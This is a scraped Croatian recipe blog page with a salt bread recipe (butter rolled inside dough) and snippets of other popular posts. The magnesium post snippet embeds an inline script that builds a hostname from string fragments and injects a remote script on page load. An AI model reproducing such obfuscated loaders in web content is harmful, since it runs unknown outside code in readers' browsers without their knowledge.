SALT BREAD - PECIVO MOTANO OKO KOCKICE MASLACA 🥜




<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Salt bread


Salt bread - pecivo motano oko kockice maslaca 



Ako želite napraviti ovo viralno pecivo kod kuće, dobra vijest je da to možete učiniti već danas. Ključan sastojak u ovom receptu je maslac koji se smješta u unutrašnjost peciva.




Salt bread 


Sastojci:

  • 400 g glatkog brašna
  • 100 g oštrog brašna
  • 30 g šećera
  • 10 g soli
  • 7 g instant suhog kvasca
  • 30 g obranog mlijeka u prahu
  • 330 ml vode (sobna temperatura)
  • 30 g maslaca (za tijesto) + 12 x 15 g maslaca (za punjenje)




Priprema:

  • U posudi uz pomoć miksera sjedinite sve suhe sastojke s vodom.
  • Dodajte 30 g maslaca i nastavite s miješanjem na niskoj brzini.
  • Nakon što se maslac otopio, povećajte na srednju brzinu. Mijesite još sedam minuta na srednjoj brzini, odnosno dok tijesto ne postane glatko.
  • Tijesto prebacite u drugu posudu, pokrijte ga plastičnom folijom i ostavite da odstoji 60-90 minuta.
  • Za to vrijeme, narežite 12 komadića maslaca od 15 g i ostavite ih u frižideru dok ne budu spremni za korištenje.
  • Nakon 60-90 minuta, izvadite tijesto i podijelite ga na 12 dijelova. Oblikujte svaki dio u kuglu, pokrijte plastičnom folijom i ostavite da odstoji 20 minuta.
  • Svaku kuglu od tijesta izdužite, potom preko gornjeg dijela stavite komad hladnog maslaca i zarolajte tijesto prema kraju.
  • Formirana peciva poredajte na pleh, pokrijte ih i ostavite da odstoje 30-45 minuta. Nakon toga, poprskajte ih vodom i pospite morskom solju.
  • Pecite ih na 200 stupnjeva oko 10 minuta, odnosno dok ne porumene. Nakon što ih izvadite iz pećnice, premažite vrhove otopljenim maslacem.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više